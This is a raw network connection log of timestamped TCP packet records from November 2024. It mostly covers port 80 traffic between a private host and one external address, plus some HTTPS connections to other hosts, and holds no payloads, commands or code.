Nov 22, 2024 23:06:38.889022112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.889535904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.889579058 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.889580965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.889626026 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.890284061 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.890326977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.890714884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.890947104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.891129971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.891172886 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.891230106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.891921043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.891967058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.891968012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.892009020 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.892731905 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.892807961 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.893172026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.893215895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.893569946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.893656969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.893692970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.893732071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.894361019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.894412994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.894500017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.894639969 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.895173073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.895224094 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.895401955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.895457983 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.895967007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.896015882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.896364927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.896569967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.896790981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.896842957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.896884918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.897006989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.897608995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.897655964 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.897699118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.897842884 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.898392916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.898446083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.926486969 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.926790953 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.926811934 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.928272009 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.928333998 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.928765059 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.928843975 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.928971052 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.928977013 CET	443	49849	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.963150024 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.963207960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.963433981 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.963479042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.963545084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.963618994 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.963654995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.963736057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.964354038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.964406967 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.964422941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.964462042 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.965184927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.965323925 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.965358973 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.965398073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.965955019 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.966149092 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.966207981 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.966794968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.966923952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.967108011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.967166901 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.967587948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.967634916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.967922926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.968005896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.968445063 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.968497992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.968715906 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.968777895 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.969182968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.969314098 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.969583035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.969634056 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.969988108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.970051050 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.970477104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.970628977 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.970803976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.970854044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.970923901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.970969915 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.971625090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.971673012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.972187996 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.972238064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.972407103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.972455025 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.972857952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.972929955 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.973233938 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.973320007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.973386049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.974045038 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.974087954 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.974250078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.974297047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.974838972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.974910021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.974942923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.974987030 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.975657940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.975702047 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.976289988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.976339102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.976445913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.976495028 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.976617098 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.976664066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.977302074 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.977404118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.977410078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.977447033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.978075027 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.978149891 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.978208065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.978264093 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.978904009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.978951931 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.979207993 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.979271889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.979691029 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.979783058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.979784966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.979823112 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.980515003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.980561972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.980623007 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.980658054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.980722904 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.980765104 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.980895042 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.981194973 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.981236935 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.981296062 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.981314898 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.981353998 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.981509924 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.981522083 CET	49849	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.981559992 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.981615067 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.981734037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.981775045 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.982095957 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.982135057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.982588053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.982644081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.982821941 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.982855082 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.982913017 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.982940912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.983043909 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.983119965 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.983123064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.983130932 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.983155012 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.983195066 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.983459949 CET	49862	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.983477116 CET	443	49862	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.983551979 CET	49863	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.983566999 CET	443	49863	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.983661890 CET	49864	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.983681917 CET	443	49864	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.983725071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.983772993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.983810902 CET	49865	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.983823061 CET	443	49865	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.983901024 CET	49866	443	192.168.2.5	104.117.182.18
Nov 22, 2024 23:06:38.983912945 CET	443	49866	104.117.182.18	192.168.2.5
Nov 22, 2024 23:06:38.983952045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:38.984085083 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:38.996227980 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.996416092 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.996699095 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.996710062 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.997039080 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.997057915 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.997870922 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.997932911 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.997987986 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.998089075 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.998117924 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.998131037 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.998198986 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.998341084 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.998409033 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.998620987 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.998697042 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.998779058 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.998789072 CET	443	49850	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:38.998855114 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:38.998863935 CET	443	49851	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.002047062 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.002106905 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.002403021 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.002520084 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.002585888 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.020046949 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:39.020083904 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:39.020173073 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:39.020317078 CET	49867	443	192.168.2.5	18.238.49.74
Nov 22, 2024 23:06:39.020329952 CET	443	49867	18.238.49.74	192.168.2.5
Nov 22, 2024 23:06:39.043363094 CET	49850	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.043370008 CET	49851	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.043536901 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.043559074 CET	443	49852	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.057270050 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.057550907 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.057569981 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.058029890 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.058388948 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.058461905 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.058541059 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.086261034 CET	49852	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.088215113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.088272095 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.088306904 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.088355064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.088500023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.088511944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.088563919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.089262009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.089308023 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.089425087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.089469910 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.090080976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.090133905 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.090187073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.090229988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.090944052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.091000080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.091126919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.091381073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.091691017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.091764927 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.091774940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.091814995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.092534065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.092581034 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.092747927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.092818975 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.093327045 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.093379021 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.093550920 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.093611002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.094177008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.094261885 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.094294071 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.094340086 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.094943047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.094994068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.095047951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.095087051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.095725060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.095771074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.095812082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.095854044 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.096551895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.096648932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.096715927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.096760988 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.097346067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.097398043 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.097491980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.097548962 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.098160028 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.098206997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.098236084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.098284960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.098978043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.099028111 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.099100113 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.099148035 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.099781036 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.099931002 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.099968910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.100008011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.100583076 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.100636959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.100806952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.100847960 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.101370096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.101412058 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.101516008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.101556063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.102186918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.102227926 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.102258921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.102296114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.102996111 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.103038073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.103172064 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.103209972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.103333950 CET	443	49848	13.107.246.40	192.168.2.5
Nov 22, 2024 23:06:39.103809118 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.103871107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.103873014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.103918076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.104605913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.104665041 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.104724884 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.104863882 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.105416059 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.105470896 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.105506897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.105679989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.106247902 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.106312990 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.106666088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.106713057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.106995106 CET	49848	443	192.168.2.5	13.107.246.40
Nov 22, 2024 23:06:39.107023954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.107198954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.107247114 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.107839108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.107963085 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.107996941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.108028889 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.108665943 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.108705997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.108829021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.108890057 CET	49762	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:39.173753023 CET	80	49762	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:39.173830986 CET	49762	80	192.168.2.5	185.215.113.206
